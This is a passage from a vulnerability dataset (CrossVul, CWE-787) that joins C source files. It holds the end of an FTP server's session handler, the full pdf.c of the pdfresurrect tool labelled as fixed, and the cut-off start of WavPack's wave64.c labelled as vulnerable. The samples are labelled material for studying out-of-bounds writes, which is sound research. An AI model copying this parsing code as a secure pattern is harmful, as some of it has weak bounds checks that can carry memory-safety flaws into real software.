BUFFER_SIZE * sizeof(char); ctrl->buf = malloc(ctrl->bufsz); if (!ctrl->buf) { WARN(errno, "FTP session failed allocating buffer"); exit(1); } snprintf(ctrl->buf, ctrl->bufsz, "220 %s (%s) ready.\r\n", prognm, VERSION); send_msg(ctrl->sd, ctrl->buf); uev_signal_init(ctrl->ctx, &sigterm_watcher, child_exit, NULL, SIGTERM); uev_io_init(ctrl->ctx, &ctrl->io_watcher, read_client_command, ctrl, ctrl->sd, UEV_READ); uev_run(ctrl->ctx, 0); } int ftp_session(uev_ctx_t *ctx, int sd) { int pid = 0; ctrl_t *ctrl; socklen_t len; ctrl = new_session(ctx, sd, &pid); if (!ctrl) { if (pid < 0) { shutdown(sd, SHUT_RDWR); close(sd); } return pid; } len = sizeof(ctrl->server_sa); if (-1 == getsockname(sd, (struct sockaddr *)&ctrl->server_sa, &len)) { ERR(errno, "Cannot determine our address"); goto fail; } convert_address(&ctrl->server_sa, ctrl->serveraddr, sizeof(ctrl->serveraddr)); len = sizeof(ctrl->client_sa); if (-1 == getpeername(sd, (struct sockaddr *)&ctrl->client_sa, &len)) { ERR(errno, "Cannot determine client address"); goto fail; } convert_address(&ctrl->client_sa, ctrl->clientaddr, sizeof(ctrl->clientaddr)); ctrl->type = TYPE_A; ctrl->data_listen_sd = -1; ctrl->data_sd = -1; ctrl->name[0] = 0; ctrl->pass[0] = 0; ctrl->data_address[0] = 0; strlcpy(ctrl->facts, "mpst", sizeof(ctrl->facts)); INFO("Client connection from %s", ctrl->clientaddr); ftp_command(ctrl); DBG("Client exiting, bye"); exit(del_session(ctrl, 1)); fail: free(ctrl); shutdown(sd, SHUT_RDWR); close(sd); return -1; } /** * Local Variables: * indent-tabs-mode: t * c-file-style: "linux" * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/good_4260_0
crossvul-cpp_data_good_1005_2
/****************************************************************************** * pdf.c * * pdfresurrect - PDF history extraction tool * * Copyright (C) 2008-2010, 2012-2013, 2017-19, Matt Davis (enferex). * * Special thanks to all of the contributors: See AUTHORS. * * Special thanks to 757labs (757 crew), they are a great group * of people to hack on projects and brainstorm with. * * pdf.c is part of pdfresurrect. * pdfresurrect is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * pdfresurrect is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with pdfresurrect. If not, see <http://www.gnu.org/licenses/>. *****************************************************************************/ #include <stdlib.h> #include <string.h> #include <ctype.h> #include "pdf.h" #include "main.h" /* * Macros */ /* SAFE_F * * Safe file read: use for fgetc() calls, this is really ugly looking. * _fp: FILE * handle * _expr: The expression with fgetc() in it: * * example: If we get a character from the file and it is ascii character 'a' * This assumes the coder wants to store the 'a' in variable ch * Kinda pointless if you already know that you have 'a', but for * illustrative purposes. * * if (SAFE_F(my_fp, ((c=fgetc(my_fp)) == 'a'))) * do_way_cool_stuff(); */ #define SAFE_F(_fp, _expr) \ ((!ferror(_fp) && !feof(_fp) && (_expr))) /* SAFE_E * * Safe expression handling. This macro is a wrapper * that compares the result of an expression (_expr) to the expected * value (_cmp). * * _expr: Expression to test. * _cmp: Expected value, error if this returns false. * _msg: What to say when an error occurs. */ #define SAFE_E(_expr, _cmp, _msg) \ do { \ if ((_expr) != (_cmp)) { \ ERR(_msg); \ exit(EXIT_FAILURE); \ } \ } while (0) /* * Forwards */ static int is_valid_xref(FILE *fp, pdf_t *pdf, xref_t *xref); static void load_xref_entries(FILE *fp, xref_t *xref); static void load_xref_from_plaintext(FILE *fp, xref_t *xref); static void load_xref_from_stream(FILE *fp, xref_t *xref); static void get_xref_linear_skipped(FILE *fp, xref_t *xref); static void resolve_linearized_pdf(pdf_t *pdf); static pdf_creator_t *new_creator(int *n_elements); static void load_creator(FILE *fp, pdf_t *pdf); static void load_creator_from_buf(FILE *fp, xref_t *xref, const char *buf); static void load_creator_from_xml(xref_t *xref, const char *buf); static void load_creator_from_old_format( FILE *fp, xref_t *xref, const char *buf); static char *get_object_from_here(FILE *fp, size_t *size, int *is_stream); static char *get_object( FILE *fp, int obj_id, const xref_t *xref, size_t *size, int *is_stream); static void add_kid(int id, xref_t *xref); static void load_kids(FILE *fp, int pages_id, xref_t *xref); static const char *get_type(FILE *fp, int obj_id, const xref_t *xref); /* static int get_page(int obj_id, const xref_t *xref); */ static char *get_header(FILE *fp); static char *decode_text_string(const char *str, size_t str_len); static int get_next_eof(FILE *fp); /* * Defined */ pdf_t *pdf_new(const char *name) { const char *n; pdf_t *pdf; pdf = safe_calloc(sizeof(pdf_t)); if (name) { /* Just get the file name (not path) */ if ((n = strrchr(name, '/'))) ++n; else n = name; pdf->name = safe_calloc(strlen(n) + 1); strcpy(pdf->name, n); } else /* !name */ { pdf->name = safe_calloc(strlen("Unknown") + 1); strcpy(pdf->name, "Unknown"); } return pdf; } void pdf_delete(pdf_t *pdf) { int i; for (i=0; i<pdf->n_xrefs; i++) { free(pdf->xrefs[i].creator); free(pdf->xrefs[i].entries); free(pdf->xrefs[i].kids); } free(pdf->name); free(pdf->xrefs); free(pdf); } int pdf_is_pdf(FILE *fp) { int is_pdf; char *header; header = get_header(fp); if (header && strstr(header, "%PDF-")) is_pdf = 1; else is_pdf = 0; free(header); return is_pdf; } void pdf_get_version(FILE *fp, pdf_t *pdf) { char *header, *c; header = get_header(fp); /* Locate version string start and make sure we dont go past header */ if ((c = strstr(header, "%PDF-")) && (c + strlen("%PDF-M.m") + 2)) { pdf->pdf_major_version = atoi(c + strlen("%PDF-")); pdf->pdf_minor_version = atoi(c + strlen("%PDF-M.")); } free(header); } int pdf_load_xrefs(FILE *fp, pdf_t *pdf) { int i, ver, is_linear; long pos, pos_count; char x, *c, buf[256]; c = NULL; /* Count number of xrefs */ pdf->n_xrefs = 0; fseek(fp, 0, SEEK_SET); while (get_next_eof(fp) >= 0) ++pdf->n_xrefs; if (!pdf->n_xrefs) return 0; /* Load in the start/end positions */ fseek(fp, 0, SEEK_SET); pdf->xrefs = safe_calloc(sizeof(xref_t) * pdf->n_xrefs); ver = 1; for (i=0; i<pdf->n_xrefs; i++) { /* Seek to %%EOF */ if ((pos = get_next_eof(fp)) < 0) break; /* Set and increment the version */ pdf->xrefs[i].version = ver++; /* Rewind until we find end of "startxref" */ pos_count = 0; while (SAFE_F(fp, ((x = fgetc(fp)) != 'f'))) fseek(fp, pos - (++pos_count), SEEK_SET); /* Suck in end of "startxref" to start of %%EOF */ if (pos_count >= sizeof(buf)) { ERR("Failed to locate the startxref token. " "This might be a corrupt PDF.\n"); return -1; } memset(buf, 0, sizeof(buf)); SAFE_E(fread(buf, 1, pos_count, fp), pos_count, "Failed to read startxref.\n"); c = buf; while (*c == ' ' || *c == '\n' || *c == '\r') ++c; /* xref start position */ pdf->xrefs[i].start = atol(c); /* If xref is 0 handle linear xref table */ if (pdf->xrefs[i].start == 0) get_xref_linear_skipped(fp, &pdf->xrefs[i]); /* Non-linear, normal operation, so just find the end of the xref */ else { /* xref end position */ pos = ftell(fp); fseek(fp, pdf->xrefs[i].start, SEEK_SET); pdf->xrefs[i].end = get_next_eof(fp); /* Look for next EOF and xref data */ fseek(fp, pos, SEEK_SET); } /* Check validity */ if (!is_valid_xref(fp, pdf, &pdf->xrefs[i])) { is_linear = pdf->xrefs[i].is_linear; memset(&pdf->xrefs[i], 0, sizeof(xref_t)); pdf->xrefs[i].is_linear = is_linear; rewind(fp); get_next_eof(fp); continue; } /* Load the entries from the xref */ load_xref_entries(fp, &pdf->xrefs[i]); } /* Now we have all xref tables, if this is linearized, we need * to make adjustments so that things spit out properly */ if (pdf->xrefs[0].is_linear) resolve_linearized_pdf(pdf); /* Ok now we have all xref data. Go through those versions of the * PDF and try to obtain creator information */ load_creator(fp, pdf); return pdf->n_xrefs; } /* Load page information */ void pdf_load_pages_kids(FILE *fp, pdf_t *pdf) { int i, id, dummy; char *buf, *c; long start, sz; start = ftell(fp); /* Load all kids for all xref tables (versions) */ for (i=0; i<pdf->n_xrefs; i++) { if (pdf->xrefs[i].version && (pdf->xrefs[i].end != 0)) { fseek(fp, pdf->xrefs[i].start, SEEK_SET); while (SAFE_F(fp, (fgetc(fp) != 't'))) ; /* Iterate to trailer */ /* Get root catalog */ sz = pdf->xrefs[i].end - ftell(fp); buf = safe_calloc(sz + 1); SAFE_E(fread(buf, 1, sz, fp), sz, "Failed to load /Root.\n"); buf[sz] = '\0'; if (!(c = strstr(buf, "/Root"))) { free(buf); continue; } /* Jump to catalog (root) */ id = atoi(c + strlen("/Root") + 1); free(buf); buf = get_object(fp, id, &pdf->xrefs[i], NULL, &dummy); if (!buf || !(c = strstr(buf, "/Pages"))) { free(buf); continue; } /* Start at the first Pages obj and get kids */ id = atoi(c + strlen("/Pages") + 1); load_kids(fp, id, &pdf->xrefs[i]); free(buf); } } fseek(fp, start, SEEK_SET); } char pdf_get_object_status( const pdf_t *pdf, int xref_idx, int entry_idx) { int i, curr_ver; const xref_t *prev_xref; const xref_entry_t *prev, *curr; curr = &pdf->xrefs[xref_idx].entries[entry_idx]; curr_ver = pdf->xrefs[xref_idx].version; if (curr_ver == 1) return 'A'; /* Deleted (freed) */ if (curr->f_or_n == 'f') return 'D'; /* Get previous version */ prev_xref = NULL; for (i=xref_idx; i>-1; --i) if (pdf->xrefs[i].version < curr_ver) { prev_xref = &pdf->xrefs[i]; break; } if (!prev_xref) return '?'; /* Locate the object in the previous one that matches current one */ prev = NULL; for (i=0; i<prev_xref->n_entries; ++i) if (prev_xref->entries[i].obj_id == curr->obj_id) { prev = &prev_xref->entries[i]; break; } /* Added in place of a previously freed id */ if (!prev || ((prev->f_or_n == 'f') && (curr->f_or_n == 'n'))) return 'A'; /* Modified */ else if (prev->offset != curr->offset) return 'M'; return '?'; } void pdf_zero_object( FILE *fp, const pdf_t *pdf, int xref_idx, int entry_idx) { int i; char *obj; size_t obj_sz; xref_entry_t *entry; entry = &pdf->xrefs[xref_idx].entries[entry_idx]; fseek(fp, entry->offset, SEEK_SET); /* Get object and size */ obj = get_object(fp, entry->obj_id, &pdf->xrefs[xref_idx], NULL, NULL); i = obj_sz = 0; while (strncmp((++i)+obj, "endobj", 6)) ++obj_sz; if (obj_sz) obj_sz += strlen("endobj") + 1; /* Zero object */ for (i=0; i<obj_sz; i++) fputc('0', fp); printf("Zeroed object %d\n", entry->obj_id); free(obj); } /* Output information per version */ void pdf_summarize( FILE *fp, const pdf_t *pdf, const char *name, pdf_flag_t flags) { int i, j, page, n_versions, n_entries; FILE *dst, *out; char *dst_name, *c; dst = NULL; dst_name = NULL; if (name) { dst_name = safe_calloc(strlen(name) * 2 + 16); sprintf(dst_name, "%s/%s", name, name); if ((c = strrchr(dst_name, '.')) && (strncmp(c, ".pdf", 4) == 0)) *c = '\0'; strcat(dst_name, ".summary"); if (!(dst = fopen(dst_name, "w"))) { ERR("Could not open file '%s' for writing\n", dst_name); return; } } /* Send output to file or stdout */ out = (dst) ? dst : stdout; /* Count versions */ n_versions = pdf->n_xrefs; if (n_versions && pdf->xrefs[0].is_linear) --n_versions; /* Ignore bad xref entry */ for (i=1; i<pdf->n_xrefs; ++i) if (pdf->xrefs[i].end == 0) --n_versions; /* If we have no valid versions but linear, count that */ if (!pdf->n_xrefs || (!n_versions && pdf->xrefs[0].is_linear)) n_versions = 1; /* Compare each object (if we dont have xref streams) */ n_entries = 0; for (i=0; !(const int)pdf->has_xref_streams && i<pdf->n_xrefs; i++) { if (flags & PDF_FLAG_QUIET) continue; for (j=0; j<pdf->xrefs[i].n_entries; j++) { ++n_entries; fprintf(out, "%s: --%c-- Version %d -- Object %d (%s)", pdf->name, pdf_get_object_status(pdf, i, j), pdf->xrefs[i].version, pdf->xrefs[i].entries[j].obj_id, get_type(fp, pdf->xrefs[i].entries[j].obj_id, &pdf->xrefs[i])); /* TODO page = get_page(pdf->xrefs[i].entries[j].obj_id, &pdf->xrefs[i]); */ if (0 /*page*/) fprintf(out, " Page(%d)\n", page); else fprintf(out, "\n"); } } /* Trailing summary */ if (!(flags & PDF_FLAG_QUIET)) { /* Let the user know that we cannot we print a per-object summary. * If we have a 1.5 PDF using streams for xref, we have not objects * to display, so let the user know whats up. */ if (pdf->has_xref_streams || !n_entries) fprintf(out, "%s: This PDF contains potential cross reference streams.\n" "%s: An object summary is not available.\n", pdf->name, pdf->name); fprintf(out, "---------- %s ----------\n" "Versions: %d\n", pdf->name, n_versions); /* Count entries for summary */ if (!pdf->has_xref_streams) for (i=0; i<pdf->n_xrefs; i++) { if (pdf->xrefs[i].is_linear) continue; n_entries = pdf->xrefs[i].n_entries; /* If we are a linearized PDF, all versions are made from those * objects too. So count em' */ if (pdf->xrefs[0].is_linear) n_entries += pdf->xrefs[0].n_entries; if (pdf->xrefs[i].version && n_entries) fprintf(out, "Version %d -- %d objects\n", pdf->xrefs[i].version, n_entries); } } else /* Quiet output */ fprintf(out, "%s: %d\n", pdf->name, n_versions); if (dst) { fclose(dst); free(dst_name); } } /* Returns '1' if we successfully display data (means its probably not xml) */ int pdf_display_creator(const pdf_t *pdf, int xref_idx) { int i; if (!pdf->xrefs[xref_idx].creator) return 0; for (i=0; i<pdf->xrefs[xref_idx].n_creator_entries; ++i) printf("%s: %s\n", pdf->xrefs[xref_idx].creator[i].key, pdf->xrefs[xref_idx].creator[i].value); return (i > 0); } /* Checks if the xref is valid and sets 'is_stream' flag if the xref is a * stream (PDF 1.5 or higher) */ static int is_valid_xref(FILE *fp, pdf_t *pdf, xref_t *xref) { int is_valid; long start; char *c, buf[16]; memset(buf, 0, sizeof(buf)); is_valid = 0; start = ftell(fp); fseek(fp, xref->start, SEEK_SET); if (fgets(buf, 16, fp) == NULL) { ERR("Failed to load xref string."); exit(EXIT_FAILURE); } if (strncmp(buf, "xref", strlen("xref")) == 0) is_valid = 1; else { /* PDFv1.5+ allows for xref data to be stored in streams vs plaintext */ fseek(fp, xref->start, SEEK_SET); c = get_object_from_here(fp, NULL, &xref->is_stream); if (c && xref->is_stream) { free(c); pdf->has_xref_streams = 1; is_valid = 1; } } fseek(fp, start, SEEK_SET); return is_valid; } static void load_xref_entries(FILE *fp, xref_t *xref) { if (xref->is_stream) load_xref_from_stream(fp, xref); else load_xref_from_plaintext(fp, xref); } static void load_xref_from_plaintext(FILE *fp, xref_t *xref) { int i, buf_idx, obj_id, added_entries; char c, buf[32] = {0}; long start, pos; start = ftell(fp); /* Get number of entries */ pos = xref->end; fseek(fp, pos, SEEK_SET); while (ftell(fp) != 0) if (SAFE_F(fp, (fgetc(fp) == '/' && fgetc(fp) == 'S'))) break; else SAFE_E(fseek(fp, --pos, SEEK_SET), 0, "Failed seek to xref /Size.\n"); SAFE_E(fread(buf, 1, 21, fp), 21, "Failed to load entry Size string.\n"); xref->n_entries = atoi(buf + strlen("ize ")); xref->entries = safe_calloc(xref->n_entries * sizeof(struct _xref_entry)); /* Load entry data */ obj_id = 0; fseek(fp, xref->start + strlen("xref"), SEEK_SET); added_entries = 0; for (i=0; i<xref->n_entries; i++) { /* Advance past newlines. */ c = fgetc(fp); while (c == '\n' || c == '\r') c = fgetc(fp); /* Collect data up until the following newline. */ buf_idx = 0; while (c != '\n' && c != '\r' && !feof(fp) && !ferror(fp) && buf_idx < sizeof(buf)) { buf[buf_idx++] = c; c = fgetc(fp); } if (buf_idx >= sizeof(buf)) { ERR("Failed to locate newline character. " "This might be a corrupt PDF.\n"); exit(EXIT_FAILURE); } buf[buf_idx] = '\0'; /* Went to far and hit start of trailer */ if (strchr(buf, 't')) break; /* Entry or object id */ if (strlen(buf) > 17) { xref->entries[i].obj_id = obj_id++; xref->entries[i].offset = atol(strtok(buf, " ")); xref->entries[i].gen_num = atoi(strtok(NULL, " ")); xref->entries[i].f_or_n = buf[17]; ++added_entries; } else { obj_id = atoi(buf); --i; } } xref->n_entries = added_entries; fseek(fp, start, SEEK_SET); } /* Load an xref table from a stream (PDF v1.5 +) */ static void load_xref_from_stream(FILE *fp, xref_t *xref) { long start; int is_stream; char *stream; size_t size; start = ftell(fp); fseek(fp, xref->start, SEEK_SET); stream = NULL; stream = get_object_from_here(fp, &size, &is_stream); fseek(fp, start, SEEK_SET); /* TODO: decode and analyize stream */ free(stream); return; } static void get_xref_linear_skipped(FILE *fp, xref_t *xref) { int err; char ch, buf[256]; if (xref->start != 0) return; /* Special case (Linearized PDF with initial startxref at 0) */ xref->is_linear = 1; /* Seek to %%EOF */ if ((xref->end = get_next_eof(fp)) < 0) return; /* Locate the trailer */ err = 0; while (!(err = ferror(fp)) && fread(buf, 1, 8, fp)) { if (strncmp(buf, "trailer", strlen("trailer")) == 0) break; else if ((ftell(fp) - 9) < 0) return; fseek(fp, -9, SEEK_CUR); } if (err) return; /* If we found 'trailer' look backwards for 'xref' */ ch = 0; while (SAFE_F(fp, ((ch = fgetc(fp)) != 'x'))) fseek(fp, -2, SEEK_CUR); if (ch == 'x') { xref->start = ftell(fp) - 1; fseek(fp, -1, SEEK_CUR); } /* Now continue to next eof ... */ fseek(fp, xref->start, SEEK_SET); } /* This must only be called after all xref and entries have been acquired */ static void resolve_linearized_pdf(pdf_t *pdf) { int i; xref_t buf; if (pdf->n_xrefs < 2) return; if (!pdf->xrefs[0].is_linear) return; /* Swap Linear with Version 1 */ buf = pdf->xrefs[0]; pdf->xrefs[0] = pdf->xrefs[1]; pdf->xrefs[1] = buf; /* Resolve is_linear flag and version */ pdf->xrefs[0].is_linear = 1; pdf->xrefs[0].version = 1; pdf->xrefs[1].is_linear = 0; pdf->xrefs[1].version = 1; /* Adjust the other version values now */ for (i=2; i<pdf->n_xrefs; ++i) --pdf->xrefs[i].version; } static pdf_creator_t *new_creator(int *n_elements) { pdf_creator_t *daddy; static const pdf_creator_t creator_template[] = { {"Title", ""}, {"Author", ""}, {"Subject", ""}, {"Keywords", ""}, {"Creator", ""}, {"Producer", ""}, {"CreationDate", ""}, {"ModDate", ""}, {"Trapped", ""}, }; daddy = safe_calloc(sizeof(creator_template)); memcpy(daddy, creator_template, sizeof(creator_template)); if (n_elements) *n_elements = sizeof(creator_template) / sizeof(creator_template[0]); return daddy; } #define END_OF_TRAILER(_c, _st, _fp) \ { \ if (_c == '>') \ { \ fseek(_fp, _st, SEEK_SET); \ continue; \ } \ } static void load_creator(FILE *fp, pdf_t *pdf) { int i, buf_idx; char c, *buf, obj_id_buf[32] = {0}; long start; size_t sz; start = ftell(fp); /* For each PDF version */ for (i=0; i<pdf->n_xrefs; ++i) { if (!pdf->xrefs[i].version) continue; /* Find trailer */ fseek(fp, pdf->xrefs[i].start, SEEK_SET); while (SAFE_F(fp, (fgetc(fp) != 't'))) ; /* Iterate to "trailer" */ /* Look for "<< ....... /Info ......" */ c = '\0'; while (SAFE_F(fp, ((c = fgetc(fp)) != '>'))) if (SAFE_F(fp, ((c == '/') && (fgetc(fp) == 'I') && ((fgetc(fp) == 'n'))))) break; /* Could not find /Info in trailer */ END_OF_TRAILER(c, start, fp); while (SAFE_F(fp, (!isspace(c = fgetc(fp)) && (c != '>')))) ; /* Iterate to first white space /Info<space><data> */ /* No space between /Info and it's data */ END_OF_TRAILER(c, start, fp); while (SAFE_F(fp, (isspace(c = fgetc(fp)) && (c != '>')))) ; /* Iterate right on top of first non-whitespace /Info data */ /* No data for /Info */ END_OF_TRAILER(c, start, fp); /* Get obj id as number */ buf_idx = 0; obj_id_buf[buf_idx++] = c; while ((buf_idx < (sizeof(obj_id_buf) - 1)) && SAFE_F(fp, (!isspace(c = fgetc(fp)) && (c != '>')))) obj_id_buf[buf_idx++] = c; END_OF_TRAILER(c, start, fp); /* Get the object for the creator data. If linear, try both xrefs */ buf = get_object(fp, atoll(obj_id_buf), &pdf->xrefs[i], &sz, NULL); if (!buf && pdf->xrefs[i].is_linear && (i+1 < pdf->n_xrefs)) buf = get_object(fp, atoll(obj_id_buf), &pdf->xrefs[i+1], &sz, NULL); load_creator_from_buf(fp, &pdf->xrefs[i], buf); free(buf); } fseek(fp, start, SEEK_SET); } static void load_creator_from_buf(FILE *fp, xref_t *xref, const char *buf) { int is_xml; char *c; if (!buf) return; /* Check to see if this is xml or old-school */ if ((c = strstr(buf, "/Type"))) while (*c && !isspace(*c)) ++c; /* Probably "Metadata" */ is_xml = 0; if (c && (*c == 'M')) is_xml = 1; /* Is the buffer XML(PDF 1.4+) or old format? */ if (is_xml) load_creator_from_xml(xref, buf); else load_creator_from_old_format(fp, xref, buf); } static void load_creator_from_xml(xref_t *xref, const char *buf) { /* TODO */ } static void load_creator_from_old_format( FILE *fp, xref_t *xref, const char *buf) { int i, n_eles, length, is_escaped, obj_id; char *c, *ascii, *start, *s, *saved_buf_search, *obj; pdf_creator_t *info; info = new_creator(&n_eles); for (i=0; i<n_eles; ++i) { if (!(c = strstr(buf, info[i].key))) continue; /* Find the value (skipping whitespace) */ c += strlen(info[i].key); while (isspace(*c)) ++c; /* If looking at the start of a pdf token, we have gone too far */ if (*c == '/') continue; /* If the value is a number and not a '(' then the data is located in * an object we need to fetch, and not inline */ obj = saved_buf_search = NULL; if (isdigit(*c)) { obj_id = atoi(c); saved_buf_search = c; s = saved_buf_search; obj = get_object(fp, obj_id, xref, NULL, NULL); c = obj; /* Iterate to '(' */ while (c && (*c != '(')) ++c; /* Advance the search to the next token */ while (s && (*s == '/')) ++s; saved_buf_search = s; } /* Find the end of the value */ start = c; length = is_escaped = 0; while (c && ((*c != '\r') && (*c != '\n') && (*c != '<'))) { /* Bail out if we see an un-escaped ')' closing character */ if (!is_escaped && (*c == ')')) break; else if (*c == '\\') is_escaped = 1; else is_escaped = 0; ++c; ++length; } if (length == 0) continue; /* Add 1 to length so it gets the closing ')' when we copy */ if (length) length += 1; length = (length > KV_MAX_VALUE_LENGTH) ? KV_MAX_VALUE_LENGTH : length; strncpy(info[i].value, start, length); info[i].value[KV_MAX_VALUE_LENGTH - 1] = '\0'; /* Restore where we were searching from */ if (saved_buf_search) { /* Release memory from get_object() called earlier */ free(obj); c = saved_buf_search; } } /* For all creation information tags */ /* Go through the values and convert if encoded */ for (i=0; i<n_eles; ++i) if ((ascii = decode_text_string(info[i].value, strlen(info[i].value)))) { strncpy(info[i].value, ascii, strlen(info[i].value)); free(ascii); } xref->creator = info; xref->n_creator_entries = n_eles; } /* Returns object data at the start of the file pointer * This interfaces to 'get_object' */ static char *get_object_from_here(FILE *fp, size_t *size, int *is_stream) { long start; char buf[256]; int obj_id; xref_t xref; xref_entry_t entry; start = ftell(fp); /* Object ID */ memset(buf, 0, 256); SAFE_E(fread(buf, 1, 255, fp), 255, "Failed to load object ID.\n"); if (!(obj_id = atoi(buf))) { fseek(fp, start, SEEK_SET); return NULL; } /* Create xref entry to pass to the get_object routine */ memset(&entry, 0, sizeof(xref_entry_t)); entry.obj_id = obj_id; entry.offset = start; /* Xref and single entry for the object we want data from */ memset(&xref, 0, sizeof(xref_t)); xref.n_entries = 1; xref.entries = &entry; fseek(fp, start, SEEK_SET); return get_object(fp, obj_id, &xref, size, is_stream); } static char *get_object( FILE *fp, int obj_id, const xref_t *xref, size_t *size, int *is_stream) { static const int blk_sz = 256; int i, total_sz, read_sz, n_blks, search, stream; size_t obj_sz; char *c, *data; long start; const xref_entry_t *entry; if (size) *size = 0; if (is_stream) *is_stream = 0; start = ftell(fp); /* Find object */ entry = NULL; for (i=0; i<xref->n_entries; i++) if (xref->entries[i].obj_id == obj_id) { entry = &xref->entries[i]; break; } if (!entry) return NULL; /* Jump to object start */ fseek(fp, entry->offset, SEEK_SET); /* Initial allocate */ obj_sz = 0; /* Bytes in object */ total_sz = 0; /* Bytes read in */ n_blks = 1; data = safe_calloc(blk_sz * n_blks); /* Suck in data */ stream = 0; while ((read_sz = fread(data+total_sz, 1, blk_sz-1, fp)) && !ferror(fp)) { total_sz += read_sz; *(data + total_sz) = '\0'; if (total_sz + blk_sz >= (blk_sz * n_blks)) data = realloc(data, blk_sz * (++n_blks)); search = total_sz - read_sz; if (search < 0) search = 0; if ((c = strstr(data + search, "endobj"))) { *(c + strlen("endobj") + 1) = '\0'; obj_sz = (void *)strstr(data + search, "endobj") - (void *)data; obj_sz += strlen("endobj") + 1; break; } else if (strstr(data, "stream")) stream = 1; } clearerr(fp); fseek(fp, start, SEEK_SET); if (size) *size = obj_sz; if (is_stream) *is_stream = stream; return data; } static void add_kid(int id, xref_t *xref) { /* Make some space */ if (((xref->n_kids + 1) * KID_SIZE) > (xref->n_kids_allocs*KIDS_PER_ALLOC)) xref->kids = realloc( xref->kids, (++xref->n_kids_allocs)*(KIDS_PER_ALLOC * KID_SIZE)); xref->kids[xref->n_kids++] = id; } /* Recursive */ static void load_kids(FILE *fp, int pages_id, xref_t *xref) { int dummy, buf_idx, kid_id; char *data, *c, buf[32]; /* Get kids */ data = get_object(fp, pages_id, xref, NULL, &dummy); if (!data || !(c = strstr(data, "/Kids"))) { free(data); return; } c = strchr(c, '['); buf_idx = 0; memset(buf, 0, sizeof(buf)); while (*(++c) != ']') { if (isdigit(*c) || (*c == ' ')) buf[buf_idx++] = *c; else if (isalpha(*c)) { kid_id = atoi(buf); add_kid(kid_id, xref); buf_idx = 0; memset(buf, 0, sizeof(buf)); /* Check kids of kid */ load_kids(fp, kid_id, xref); } else if (*c == ']') break; } free(data); } static const char *get_type(FILE *fp, int obj_id, const xref_t *xref) { int is_stream; char *c, *obj, *endobj; static char buf[32]; long start; start = ftell(fp); if (!(obj = get_object(fp, obj_id, xref, NULL, &is_stream)) || is_stream || !(endobj = strstr(obj, "endobj"))) { free(obj); fseek(fp, start, SEEK_SET); if (is_stream) return "Stream"; else return "Unknown"; } /* Get the Type value (avoiding font names like Type1) */ c = obj; while ((c = strstr(c, "/Type")) && (c < endobj)) if (isdigit(*(c + strlen("/Type")))) { ++c; continue; } else break; if (!c || (c && (c > endobj))) { free(obj); fseek(fp, start, SEEK_SET); return "Unknown"; } /* Skip to first blank/whitespace */ c += strlen("/Type"); while (isspace(*c) || *c == '/') ++c; /* Return the value by storing it in static mem */ memcpy(buf, c, (((c - obj) < sizeof(buf)) ? c - obj : sizeof(buf))); c = buf; while (!(isspace(*c) || *c=='/' || *c=='>')) ++c; *c = '\0'; free(obj); fseek(fp, start, SEEK_SET); return buf; } /* TODO static int get_page(int obj_id, const xref_t *xref) { int i; for (i=0; i<xref->n_kids; i++) if (xref->kids[i] == obj_id) break; return i; } */ static char *get_header(FILE *fp) { /* First 1024 bytes of doc must be header (1.7 spec pg 1102) */ char *header = safe_calloc(1024); long start = ftell(fp); fseek(fp, 0, SEEK_SET); SAFE_E(fread(header, 1, 1023, fp), 1023, "Failed to load PDF header.\n"); fseek(fp, start, SEEK_SET); return header; } static char *decode_text_string(const char *str, size_t str_len) { int idx, is_hex, is_utf16be, ascii_idx; char *ascii, hex_buf[5] = {0}; is_hex = is_utf16be = idx = ascii_idx = 0; /* Regular encoding */ if (str[0] == '(') { ascii = safe_calloc(strlen(str) + 1); strncpy(ascii, str, strlen(str) + 1); return ascii; } else if (str[0] == '<') { is_hex = 1; ++idx; } /* Text strings can be either PDFDocEncoding or UTF-16BE */ if (is_hex && (str_len > 5) && (str[idx] == 'F') && (str[idx+1] == 'E') && (str[idx+2] == 'F') && (str[idx+3] == 'F')) { is_utf16be = 1; idx += 4; } else return NULL; /* Now decode as hex */ ascii = safe_calloc(str_len); for ( ; idx<str_len; ++idx) { hex_buf[0] = str[idx++]; hex_buf[1] = str[idx++]; hex_buf[2] = str[idx++]; hex_buf[3] = str[idx]; ascii[ascii_idx++] = strtol(hex_buf, NULL, 16); } return ascii; } /* Return the offset to the beginning of the %%EOF string. * A negative value is returned when done scanning. */ static int get_next_eof(FILE *fp) { int match, c; const char buf[] = "%%EOF"; match = 0; while ((c = fgetc(fp)) != EOF) { if (c == buf[match]) ++match; else match = 0; if (match == 5) /* strlen("%%EOF") */ return ftell(fp) - 5; } return -1; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_1005_2
crossvul-cpp_data_bad_96_2
//////////////////////////////////////////////////////////////////////////// // **** WAVPACK **** // // Hybrid Lossless Wavefile Compressor // // Copyright (c) 1998 - 2016 David Bryant. // // All Rights Reserved. // // Distributed under the BSD Software License (see license.txt) // //////////////////////////////////////////////////////////////////////////// // wave64.c // This module is a helper to the WavPack command-line programs to support Sony's // Wave64 WAV file varient. Note that unlike the WAV/RF64 version, this does not // fall back to conventional WAV in the < 4GB case. #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <math.h> #include <stdio.h> #include <ctype.h> #include "wavpack.h" #include "utils.h" #include "md5.h" typedef struct { char ckID [16]; int64_t ckSize; char formType [16]; } Wave64FileHeader; typedef struct { char ckID [16]; int64_t ckSize; } Wave64ChunkHeader; #define Wave64ChunkHeaderFormat "88D" static const unsigned char riff_guid [16] = { 'r','i','f','f', 0x2e,0x91,0xcf,0x11,0xa5,0xd6,0x28,0xdb,0x04,0xc1,0x00,0x00 }; static const unsigned char wave_guid [16] = { 'w','a','v','e', 0xf3,0xac,0xd3,0x11,0x8c,0xd1,0x00,0xc0,0x4f,0x8e,0xdb,0x8a }; static const unsigned char fmt_guid [16] = { 'f','m','t',' ', 0xf3,0xac,0xd3,0x11,0x8c,0xd1,0x00,0xc0,0x4f,0x8e,0xdb,0x8a }; static const unsigned char data_guid [16] = { 'd','a','t','a', 0xf3,0xac,0xd3,0x11,0x8c,0xd1,0x00,0xc0,0x4f,0x8e,0xdb,0x8a }; #define WAVPACK_NO_ERROR 0 #define WAVPACK_SOFT_ERROR 1 #define WAVPACK_HARD_ERROR 2 extern int 